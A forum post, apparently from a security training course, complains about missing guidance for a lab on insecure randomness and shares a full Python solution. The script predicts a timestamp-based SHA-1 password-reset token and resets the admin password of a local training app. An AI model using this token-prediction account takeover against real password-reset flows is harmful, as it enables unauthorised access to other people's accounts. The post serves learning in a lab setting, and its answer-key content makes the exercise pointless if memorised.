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Lack of Resources for Lab 4.1 - Insecure Randomness in Web Applications

nemetschek
Posts: 1
Hello everyone,
I've been working on Lab 4.1, which involves exploiting weak randomization in a password reset function. However, the provided resources are insufficient for completing the lab effectively.
- No guidance on interacting with the web application endpoints to exploit the vulnerability.
- The provided solution uses a static datetime, not reflecting the dynamic nature of the actual application.
To help others, here’s a script that completes the lab, with added print statements for clarity:
- import requests
- import hashlib
- import datetime
- import time
- base_url = 'http://localhost:5000'
- # Step 1: Trigger the forget password functionality
- forget_password_url = f'{base_url}/passwordForget'
- admin_username = 'admin'
- print(f"[INFO] Initiating password reset for user '{admin_username}'...")
- response = requests.post(forget_password_url, data={'username': admin_username})
- if response.status_code == 200:
- print("[INFO] Password reset request sent successfully.")
- else:
- print("[ERROR] Failed to send password reset request.")
- exit()
- # Step 2: Wait a second to ensure the timestamp is accurate
- time.sleep(1)
- # Calculate the reset token
- current_time = datetime.datetime.now()
- timestamp = current_time.second
- to_hash = admin_username + str(timestamp)
- reset_token = hashlib.sha1(to_hash.encode('utf-8')).hexdigest()
- print(f"[INFO] Calculated reset token: {reset_token}")
- # Step 3: Use the reset token to reset the admin's password
- reset_password_url = f'{base_url}/reset'
- new_password = 'password1'
- print(f"[INFO] Sending password reset request with token '{reset_token}' and new password '{new_password}'...")
- response = requests.post(reset_password_url, data={
- 'resetToken': reset_token,
- 'username': admin_username,
- 'password': new_password
- })
- if response.status_code == 200:
- print(f"[SUCCESS] Password for user '{admin_username}' has been reset to '{new_password}'.")
- else:
- print(f"[ERROR] Failed to reset the password. Server responded with status code {response.status_code}.")
2
Comments
-
Thank you Nemetsheck.
0
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